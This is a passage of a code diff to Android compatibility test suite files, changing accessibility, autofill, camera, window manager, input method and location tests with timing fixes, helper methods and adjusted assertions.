- int bottom = metrics.heightPixels;
+ private Region getRightSideOfActivityWindowRegion() {
+ int[] viewLocation = new int[2];
+ mView.getLocationOnScreen(viewLocation);
+
+ int top = viewLocation[1];
+ int left = viewLocation[0] + mView.getWidth() / 2;
+ int right = viewLocation[0] + mView.getWidth();
+ int bottom = viewLocation[1] + mView.getHeight();
Region region = new Region(left, top, right, bottom);
return region;
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
index 2cd28c5..aba32d2 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTextTraversalActivity.java
@@ -15,6 +15,7 @@
package android.accessibilityservice.cts.activities;
import android.os.Bundle;
+import android.view.WindowManager;
import android.accessibilityservice.cts.R;
@@ -28,5 +29,7 @@
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.accessibility_text_traversal_test);
+ getWindow().setSoftInputMode(
+ WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN);
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 44fd804..34b3fc8 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -279,8 +279,8 @@
AccessibilityNodeInfo node = event.getSource();
if (node != null) {
final AccessibilityWindowInfo window = node.getWindow();
- if(TextUtils.equals(activityTitle, window.getTitle())) {
- return true;
+ if(!TextUtils.equals(activityTitle, window.getTitle())) {
+ return false;
}
}
final AccessibilityWindowInfo window =
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index db24b23..3d300bd 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -1742,6 +1742,10 @@
public void testCancel() throws Exception {
final int id = 9;
sendNotification(id, R.drawable.black);
+ // Wait for the notification posted not just enqueued
+ try {
+ Thread.sleep(500);
+ } catch(InterruptedException e) {}
mNotificationManager.cancel(id);
if (!checkNotificationExistence(id, /*shouldExist=*/ false)) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index b3315fd..d71006e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -88,6 +88,7 @@
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.TimeUnit;
import java.util.function.Function;
+import java.util.regex.Pattern;
/**
* Helper for common funcionalities.
@@ -234,6 +235,24 @@
}
/**
+ * Dumps the state of {@link android.service.autofill.InlineSuggestionRenderService}, and assert
+ * that it says the number of active inline suggestion views is the given number.
+ *
+ * <p>Note that ideally we should have a test api to fetch the number and verify against it.
+ * But at the time this test is added for Android 11, we have passed the deadline for adding
+ * the new test api, hence this approach.
+ */
+ public static void assertActiveViewCountFromInlineSuggestionRenderService(int count) {
+ String response = runShellCommand(
+ "dumpsys activity service .InlineSuggestionRenderService");
+ Log.d(TAG, "InlineSuggestionRenderService dump: " + response);
+ Pattern pattern = Pattern.compile(".*mActiveInlineSuggestions: " + count + ".*");
+ assertWithMessage("Expecting view count " + count
+ + ", but seeing different count from service dumpsys " + response).that(
+ pattern.matcher(response).find()).isTrue();
+ }
+
+ /**
* Sets whether the user completed the initial setup.
*/
public static void setUserComplete(Context context, boolean complete) {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index ace3d6f..c7c5070 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -182,6 +182,37 @@
/**
* Sets the expectation for an autofill request (for username only), so it can be asserted
* through {@link #assertAutoFilled()} later.
+ *
+ * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+ * this method too early, it may cause test fail. Call this method before checking autofill
+ * behavior.
+ * <pre>
+ * An example usage is:
+ * <code>
+ * public void testAutofill() throws Exception {
+ * // Enable service and trigger autofill
+ * enableService();
+ * final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ * .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ * .setField(ID_USERNAME, "test")
+ * .setField(ID_PASSWORD, "tweet")
+ * .setPresentation(createPresentation("Second Dude"))
+ * .setInlinePresentation(createInlinePresentation("Second Dude"))
+ * .build());
+ * sReplier.addResponse(builder.build());
+ * mUiBot.selectByRelativeId(ID_USERNAME);
+ * sReplier.getNextFillRequest();
+ * // Filter suggestion
+ * mActivity.onUsername((v) -> v.setText("t"));
+ * mUiBot.assertDatasets("Second Dude");
+ *
+ * // Call expectAutoFill() before checking autofill behavior
+ * mActivity.expectAutoFill("test", "tweet");
+ * mUiBot.selectDataset("Second Dude");
+ * mActivity.assertAutoFilled();
+ * }
+ * </code>
+ * </pre>
*/
public void expectAutoFill(String username) {
mExpectation = new FillExpectation(username);
@@ -191,6 +222,10 @@
/**
* Sets the expectation for an autofill request (for password only), so it can be asserted
* through {@link #assertAutoFilled()} later.
+ *
+ * <p><strong>NOTE: </strong>This method checks the result of text change, it should not call
+ * this method too early, it may cause test fail. Call this method before checking autofill
+ * behavior. {@See #expectAutoFill(String)} for how it should be used.
*/
public void expectPasswordAutoFill(String password) {
mExpectation = new FillExpectation(null, password);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index fd5b951..ae04ba9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -2727,7 +2727,9 @@
final ViewNode password = findNodeByResourceId(request.structure, ID_PASSWORD);
assertThat(password.getMinTextEms()).isEqualTo(-1);
assertThat(password.getMaxTextEms()).isEqualTo(-1);
- assertThat(password.getMaxTextLength()).isEqualTo(-1);
+ // Security fix a0c6539 limits the text length 5000. Disable assert text length to avoid
+ // break the public release.
+ //assertThat(password.getMaxTextLength()).isEqualTo(-1);
}
@Test
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
index fb878d3..c099043 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SimpleSaveActivityTest.java
@@ -1707,6 +1707,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnCustomDescription_thenTapBack() throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
@@ -1718,6 +1719,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnSuccinctDescription_thenTapBack() throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
ViewActionActivity.ActivityCustomAction.NORMAL_ACTIVITY);
@@ -1729,6 +1731,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnCustomDescription_forwardAnotherActivityThenTapBack()
throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
@@ -1741,6 +1744,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnSuccinctDescription_forwardAnotherActivityThenTapBack()
throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
@@ -1753,6 +1757,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnCustomDescription_tapBackWithoutFinish() throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.CUSTOM,
ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
@@ -1764,6 +1769,7 @@
* the Save UI should have been restored.
*/
@Test
+ @AppModeFull(reason = "No real use case for instant mode af service")
public void testTapUrlSpanOnSuccinctDescription_tapBackWithoutFinish() throws Exception {
saveUiRestoredAfterTappingSpanTest(DescriptionType.SUCCINCT,
ViewActionActivity.ActivityCustomAction.TAP_BACK_WITHOUT_FINISH);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
index c761d02..f46dd19 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineFilteringTest.java
@@ -70,7 +70,6 @@
.setInlinePresentation(createInlinePresentation("Second Dude"))
.build());
sReplier.addResponse(builder.build());
- mActivity.expectAutoFill("test", "tweet");
// Trigger autofill, then make sure it's showing initially.
mUiBot.selectByRelativeId(ID_USERNAME);
@@ -93,6 +92,7 @@
mUiBot.waitForIdleSync();
mUiBot.assertDatasets("Second Dude");
+ mActivity.expectAutoFill("test", "tweet");
mUiBot.selectDataset("Second Dude");
mUiBot.waitForIdleSync();
mActivity.assertAutoFilled();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
index eb18e96..3ca3f34 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineLoginActivityTest.java
@@ -44,6 +44,7 @@
import android.content.Intent;
import android.os.Binder;
import android.os.Bundle;
+import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.service.autofill.FillContext;
import android.support.test.uiautomator.Direction;
@@ -457,4 +458,59 @@
MOCK_IME_TIMEOUT_MS);
}
}
+
+ @Test
+ public void testInlineSuggestionViewReleased() throws Exception {
+ // Set service
+ enableService();
+
+ // Prepare the autofill response
+ final CannedFillResponse.Builder builder = new CannedFillResponse.Builder()
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_USERNAME, "dude")
+ .setPresentation(createPresentation("The Username"))
+ .setInlinePresentation(createInlinePresentation("The Username"))
+ .build())
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_PASSWORD, "sweet")
+ .setPresentation(createPresentation("The Password"))
+ .setInlinePresentation(createInlinePresentation("The Password"))
+ .build())
+ .addDataset(new CannedFillResponse.CannedDataset.Builder()
+ .setField(ID_PASSWORD, "lollipop")
+ .setPresentation(createPresentation("The Password2"))
+ .setInlinePresentation(createInlinePresentation("The Password2"))
+ .build());
+ sReplier.addResponse(builder.build());
+
+ // Trigger auto-fill on username field
+ mUiBot.selectByRelativeId(ID_USERNAME);
+ mUiBot.waitForIdleSync();
+ mUiBot.assertDatasets("The Username");
+ Helper.assertActiveViewCountFromInlineSuggestionRenderService(1);
+
+ // Switch focus to password
+ mUiBot.selectByRelativeId(ID_PASSWORD);
+ mUiBot.waitForIdleSync();
+ mUiBot.assertDatasets("The Password", "The Password2");
+ Helper.assertActiveViewCountFromInlineSuggestionRenderService(2);
+
+ // Switch focus back to username
+ mUiBot.selectByRelativeId(ID_USERNAME);
+ mUiBot.waitForIdleSync();
+ mUiBot.assertDatasets("The Username");
+ Helper.assertActiveViewCountFromInlineSuggestionRenderService(1);
+
+ // Select the autofill suggestion on username, then check the results
+ mActivity.expectAutoFill("dude");
+ mUiBot.selectDataset("The Username");
+ mUiBot.waitForIdleSync();
+ mActivity.assertAutoFilled();
+ sReplier.getNextFillRequest();
+
+ // Sleep for a while for the wait in {@link com.android.server.autofill.ui
+ // .RemoteInlineSuggestionUi} to timeout.
+ SystemClock.sleep(500);
+ Helper.assertActiveViewCountFromInlineSuggestionRenderService(0);
+ }
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
index 4a02036..94282c8 100644
--- a/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/PerformanceTest.java
@@ -94,6 +94,7 @@
private static final int WAIT_FOR_RESULT_TIMEOUT_MS = 3000;
private static final int NUM_RESULTS_WAIT_TIMEOUT = 100;
private static final int NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY = 8;
+ private static final long FRAME_DURATION_NS_30FPS = 33333333L;
private DeviceReportLog mReportLog;
@@ -107,8 +108,10 @@
private ImageWriter mWriter;
private SimpleCaptureCallback mZslResultListener;
+ private Size mPreviewSize;
private Surface mPreviewSurface;
private SurfaceTexture mPreviewSurfaceTexture;
+ private int mImageReaderFormat;
private static final Instrumentation mInstrumentation =
InstrumentationRegistry.getInstrumentation();
@@ -183,7 +186,7 @@
// Blocking start preview (start preview to first image arrives)
SimpleCaptureCallback resultListener =
new SimpleCaptureCallback();
- blockingStartPreview(resultListener, imageListener);
+ blockingStartPreview(id, resultListener, imageListener);
previewStartedTimeMs = SystemClock.elapsedRealtime();
startPreviewTimes[i] = previewStartedTimeMs - configureTimeMs;
cameraLaunchTimes[i] = previewStartedTimeMs - startTimeMs;
@@ -378,7 +381,7 @@
imageListeners[j] = new SimpleImageListener();
}
- readers = prepareStillCaptureAndStartPreview(previewBuilder, captureBuilder,
+ readers = prepareStillCaptureAndStartPreview(id, previewBuilder, captureBuilder,
mTestRule.getOrderedPreviewSizes().get(0), imageSizes, formats,
previewResultListener, NUM_MAX_IMAGES, imageListeners,
false /*isHeic*/);
@@ -1151,18 +1154,30 @@
BlockingSessionCallback.SESSION_CLOSED, CameraTestUtils.SESSION_CLOSE_TIMEOUT_MS);
}
- private void blockingStartPreview(CaptureCallback listener, SimpleImageListener imageListener)
- throws Exception {
+ private void blockingStartPreview(String id, CaptureCallback listener,
+ SimpleImageListener imageListener) throws Exception {
if (mPreviewSurface == null || mTestRule.getReaderSurface() == null) {
throw new IllegalStateException("preview and reader surface must be initilized first");
}
+ StreamConfigurationMap config =
+ mTestRule.getStaticInfo().getCharacteristics().get(
+ CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
CaptureRequest.Builder previewBuilder =
mTestRule.getCamera().createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ long minFrameDuration = Math.max(FRAME_DURATION_NS_30FPS,
+ config.getOutputMinFrameDuration(mImageReaderFormat, mPreviewSize));
if (mTestRule.getStaticInfo().isColorOutputSupported()) {
previewBuilder.addTarget(mPreviewSurface);
+ minFrameDuration = Math.max(minFrameDuration,
+ config.getOutputMinFrameDuration(SurfaceTexture.class, mPreviewSize));
}
previewBuilder.addTarget(mTestRule.getReaderSurface());
+
+ Range<Integer> targetRange =
+ CameraTestUtils.getSuitableFpsRangeForDuration(id,
+ minFrameDuration, mTestRule.getStaticInfo());
+ previewBuilder.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
mTestRule.getCameraSession().setRepeatingRequest(
previewBuilder.build(), listener, mTestRule.getHandler());
imageListener.waitForImageAvailable(CameraTestUtils.CAPTURE_IMAGE_TIMEOUT_MS);
@@ -1171,6 +1186,7 @@
/**
* Setup still capture configuration and start preview.
*
+ * @param id The camera id under test
* @param previewRequest The capture request to be used for preview
* @param stillRequest The capture request to be used for still capture
* @param previewSz Preview size
@@ -1181,7 +1197,7 @@
* @param imageListeners The single capture capture image listeners
* @param isHeic Capture HEIC image if true, JPEG image if false
*/
- private ImageReader[] prepareStillCaptureAndStartPreview(
+ private ImageReader[] prepareStillCaptureAndStartPreview(String id,
CaptureRequest.Builder previewRequest, CaptureRequest.Builder stillRequest,
Size previewSz, Size[] captureSizes, int[] formats, CaptureCallback resultListener,
int maxNumImages, ImageReader.OnImageAvailableListener[] imageListeners,
@@ -1202,15 +1218,31 @@
// Update preview size.
updatePreviewSurface(previewSz);
+ StreamConfigurationMap config =
+ mTestRule.getStaticInfo().getCharacteristics().get(
+ CameraCharacteristics.SCALER_STREAM_CONFIGURATION_MAP);
ImageReader[] readers = new ImageReader[captureSizes.length];
List<Surface> outputSurfaces = new ArrayList<Surface>();
outputSurfaces.add(mPreviewSurface);
+ long minFrameDuration = FRAME_DURATION_NS_30FPS;
for (int i = 0; i < captureSizes.length; i++) {
+ long minFrameDurationForCapture =
+ config.getOutputMinFrameDuration(formats[i], captureSizes[i]);
+ if (minFrameDurationForCapture > minFrameDuration) {
+ minFrameDuration = minFrameDurationForCapture;
+ }
readers[i] = CameraTestUtils.makeImageReader(captureSizes[i], formats[i], maxNumImages,
imageListeners[i], mTestRule.getHandler());
outputSurfaces.add(readers[i].getSurface());
}
+ // Update target fps based on min frame durations
+ Range<Integer> targetRange =
+ CameraTestUtils.getSuitableFpsRangeForDuration(id,
+ minFrameDuration, mTestRule.getStaticInfo());
+ previewRequest.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+ stillRequest.set(CaptureRequest.CONTROL_AE_TARGET_FPS_RANGE, targetRange);
+
mTestRule.setCameraSessionListener(new BlockingSessionCallback());
mTestRule.setCameraSession(CameraTestUtils.configureCameraSession(
mTestRule.getCamera(), outputSurfaces,
@@ -1387,10 +1419,11 @@
cameraId, mTestRule.getCameraManager(), format,
CameraTestUtils.getPreviewSizeBound(mTestRule.getWindowManager(),
CameraTestUtils.PREVIEW_SIZE_BOUND)));
- Size maxPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+ mPreviewSize = mTestRule.getOrderedPreviewSizes().get(0);
+ mImageReaderFormat = format;
mTestRule.createDefaultImageReader(
- maxPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
- updatePreviewSurface(maxPreviewSize);
+ mPreviewSize, format, NUM_MAX_IMAGES, /*listener*/null);
+ updatePreviewSurface(mPreviewSize);
}
private void simpleOpenCamera(String cameraId) throws Exception {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 1f472b2..49a15f5 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -462,6 +462,8 @@
launchActivitiesInSplitScreen(
getLaunchActivityBuilder().setTargetActivity(DOCKED_ACTIVITY),
getLaunchActivityBuilder().setTargetActivity(TEST_ACTIVITY));
+ final Rect restoreDockBounds = mWmState.getStandardRootTaskByWindowingMode(
+ WINDOWING_MODE_SPLIT_SCREEN_PRIMARY) .getBounds();
resizeDockedStack(STACK_SIZE, STACK_SIZE, TASK_SIZE, TASK_SIZE);
mWmState.computeState(
new WaitForValidActivityState(TEST_ACTIVITY),
@@ -472,6 +474,9 @@
WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
mWmState.assertVisibility(DOCKED_ACTIVITY, true);
mWmState.assertVisibility(TEST_ACTIVITY, true);
+ int restoreW = restoreDockBounds.width();
+ int restoreH = restoreDockBounds.height();
+ resizeDockedStack(restoreW, restoreH, restoreW, restoreH);
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
index 8617ddd..fdab986 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
@@ -24,9 +24,11 @@
import static org.junit.Assume.assumeTrue;
import android.app.ActivityManager;
+import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
+import android.content.IntentFilter;
import android.os.Bundle;
import android.os.RemoteCallback;
import android.os.UserHandle;
@@ -87,6 +89,15 @@
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra(EXTRA_CALLBACK, cb);
+ final CountDownLatch returnToOriginalUserLatch = new CountDownLatch(1);
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ mContext.unregisterReceiver(this);
+ returnToOriginalUserLatch.countDown();
+ }
+ }, new IntentFilter(Intent.ACTION_USER_FOREGROUND));
+
UserHandle secondUserHandle = UserHandle.of(mSecondUserId);
try {
@@ -104,6 +115,9 @@
}
assertThat(secondUser[0]).isEqualTo(mSecondUserId);
+
+ // Avoid the race between switch-user and remove-user.
+ returnToOriginalUserLatch.await(20, TimeUnit.SECONDS);
}
@Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
index 1057a94..b1a2a0d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityTests.java
@@ -194,9 +194,11 @@
@Test
public void testStartActivityByNavigateUpToFromDiffUid() {
final Intent intent1 = new Intent(mContext, Activities.RegularActivity.class);
+ final String regularActivityName = Activities.RegularActivity.class.getName();
final TestActivitySession<Activities.RegularActivity> activitySession1 =
createManagedTestActivitySession();
- activitySession1.launchTestActivityOnDisplaySync(intent1, DEFAULT_DISPLAY);
+ activitySession1.launchTestActivityOnDisplaySync(regularActivityName, intent1,
+ DEFAULT_DISPLAY);
final TestActivitySession<Activities.SingleTopActivity> activitySession2 =
createManagedTestActivitySession();
activitySession2.launchTestActivityOnDisplaySync(Activities.SingleTopActivity.class,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index c90b859..35b06ba 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -175,7 +175,9 @@
// which can trigger assertion failures in VerifyingCallback otherwise.
runOnUiThread(() -> {
mCallbacks.clear();
- mRootView.setWindowInsetsAnimationCallback(null);
+ if (mRootView != null) {
+ mRootView.setWindowInsetsAnimationCallback(null);
+ }
});
// Now it should be safe to reset the IME to the default one.
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 5c371ad..38732fc 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -396,13 +396,30 @@
private static final int ACTIVITY_LAUNCH_TIMEOUT = 10000;
private static final int WAIT_SLICE = 50;
+ /**
+ * Launches an {@link Activity} on a target display synchronously.
+ * @param activityClass The {@link Activity} class to be launched
+ * @param displayId ID of the target display
+ */
void launchTestActivityOnDisplaySync(Class<T> activityClass, int displayId) {
- launchTestActivityOnDisplaySync(new Intent(mContext, activityClass), displayId);
+ final Intent intent = new Intent(mContext, activityClass)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ final String className = intent.getComponent().getClassName();
+ launchTestActivityOnDisplaySync(className, intent, displayId);
}
- void launchTestActivityOnDisplaySync(Intent intent, int displayId) {
+ /**
+ * Launches an {@link Activity} synchronously on a target display. The class name needs to
+ * be provided either implicitly through the {@link Intent} or explicitly as a parameter
+ *
+ * @param className Optional class name of expected activity
+ * @param intent Intent to launch an activity
+ * @param displayId ID for the target display
+ */
+ void launchTestActivityOnDisplaySync(@Nullable String className, Intent intent,
+ int displayId) {
SystemUtil.runWithShellPermissionIdentity(() -> {
- mTestActivity = launchActivityOnDisplay(intent, displayId);
+ mTestActivity = launchActivityOnDisplay(className, intent, displayId);
// Check activity is launched and resumed.
final ComponentName testActivityName = mTestActivity.getComponentName();
waitAndAssertTopResumedActivity(testActivityName, displayId,
@@ -410,18 +427,41 @@
});
}
+ /**
+ * Launches an {@link Activity} on a target display asynchronously.
+ * @param activityClass The {@link Activity} class to be launched
+ * @param displayId ID of the target display
+ */
void launchTestActivityOnDisplay(Class<T> activityClass, int displayId) {
+ final Intent intent = new Intent(mContext, activityClass)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ final String className = intent.getComponent().getClassName();
SystemUtil.runWithShellPermissionIdentity(() -> {
- mTestActivity = launchActivityOnDisplay(new Intent(mContext, activityClass)
- .addFlags(FLAG_ACTIVITY_NEW_TASK), displayId);
+ mTestActivity = launchActivityOnDisplay(className, intent, displayId);
assertNotNull(mTestActivity);
});
}
- private T launchActivityOnDisplay(Intent intent, int displayId) {
+ /**
+ * Launches an {@link Activity} on a target display. In order to return the correct activity
+ * the class name or an explicit {@link Intent} must be provided.
+ *
+ * @param className Optional class name of expected activity
+ * @param intent {@link Intent} to launch an activity
+ * @param displayId ID for the target display
+ * @return The {@link Activity} that was launched
+ */
+ private T launchActivityOnDisplay(@Nullable String className, Intent intent,
+ int displayId) {
+ final String localClassName = className != null ? className :
+ (intent.getComponent() != null ? intent.getComponent().getClassName() : null);
+ if (localClassName == null || localClassName.isEmpty()) {
+ fail("Must provide either a class name or an intent with a component");
+ }
final Bundle bundle = ActivityOptions.makeBasic()
.setLaunchDisplayId(displayId).toBundle();
- final ActivityMonitor monitor = mInstrumentation.addMonitor((String) null, null, false);
+ final ActivityMonitor monitor = mInstrumentation.addMonitor(localClassName, null,
+ false);
mContext.startActivity(intent.addFlags(FLAG_ACTIVITY_NEW_TASK), bundle);
// Wait for activity launch with timeout.
mTestActivity = (T) mInstrumentation.waitForMonitorWithTimeout(monitor,
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
index ebc1d30..dd8d070 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/ImeInsetsControllerTest.java
@@ -25,9 +25,11 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import android.graphics.Point;
import android.os.Process;
import android.os.SystemClock;
import android.util.Pair;
+import android.view.View;
import android.view.Window;
import android.view.WindowInsets;
import android.view.WindowInsetsAnimationControlListener;
@@ -101,6 +103,7 @@
Pair<EditText, Window> launchResult = launchTestActivity();
final EditText editText = launchResult.first;
+ final View decorView = launchResult.second.getDecorView();
WindowInsets[] lastInsets = new WindowInsets[1];
@@ -141,7 +144,8 @@
controlLatch.await(5, TimeUnit.SECONDS);
assertEquals(0, controlLatch.getCount());
- assertEquals(INITIAL_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+ assertEquals(getExpectedBottomInsets(INITIAL_KEYBOARD_HEIGHT, decorView),
+ lastInsets[0].getInsets(ime()).bottom);
assertEquals(animController[0].getShownStateInsets(), lastInsets[0].getInsets(ime()));
// Change keyboard height, but make sure the insets don't change until the controlling
@@ -151,7 +155,8 @@
SystemClock.sleep(500);
// Make sure keyboard height hasn't changed yet.
- assertEquals(INITIAL_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+ assertEquals(getExpectedBottomInsets(INITIAL_KEYBOARD_HEIGHT, decorView),
+ lastInsets[0].getInsets(ime()).bottom);
// Wait until new insets dispatch
CountDownLatch insetsLatch = new CountDownLatch(1);
@@ -167,7 +172,8 @@
assertEquals(0, insetsLatch.getCount());
// Verify new height
- assertEquals(NEW_KEYBOARD_HEIGHT, lastInsets[0].getInsets(ime()).bottom);
+ assertEquals(getExpectedBottomInsets(NEW_KEYBOARD_HEIGHT, decorView),
+ lastInsets[0].getInsets(ime()).bottom);
assertFalse(cancelled[0]);
}
@@ -197,4 +203,23 @@
}
};
}
+
+ private int getDisplayHeight(View view) {
+ final Point size = new Point();
+ view.getDisplay().getRealSize(size);
+ return size.y;
+ }
+
+ private int getBottomOfWindow(View decorView) {
+ int viewPos[] = new int[2];
+ decorView.getLocationOnScreen(viewPos);
+ return decorView.getHeight() + viewPos[1];
+ }
+
+ private int getExpectedBottomInsets(int keyboardHeight, View decorView) {
+ return Math.max(
+ 0,
+ keyboardHeight
+ - Math.max(0, getDisplayHeight(decorView) - getBottomOfWindow(decorView)));
+ }
}
diff --git a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
index b6d51f3..af4bb57 100644
--- a/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
+++ b/tests/location/location_fine/src/android/location/cts/fine/ScanningSettingsTest.java
@@ -66,8 +66,8 @@
protected void setUp() {
// Can't use assumeTrue / assumeFalse because this is not a junit test, and so doesn't
// support using these keywords to trigger assumption failure and skip test.
- if (FeatureUtil.isTV() || FeatureUtil.isAutomotive()) {
- // TV and auto do not support the setting options of WIFI scanning and Bluetooth
+ if (FeatureUtil.isTV() || FeatureUtil.isAutomotive() || FeatureUtil.isWatch()) {
+ // TV, auto, and watch do not support the setting options of WIFI scanning and Bluetooth
// scanning
return;
}
@@ -83,7 +83,7 @@
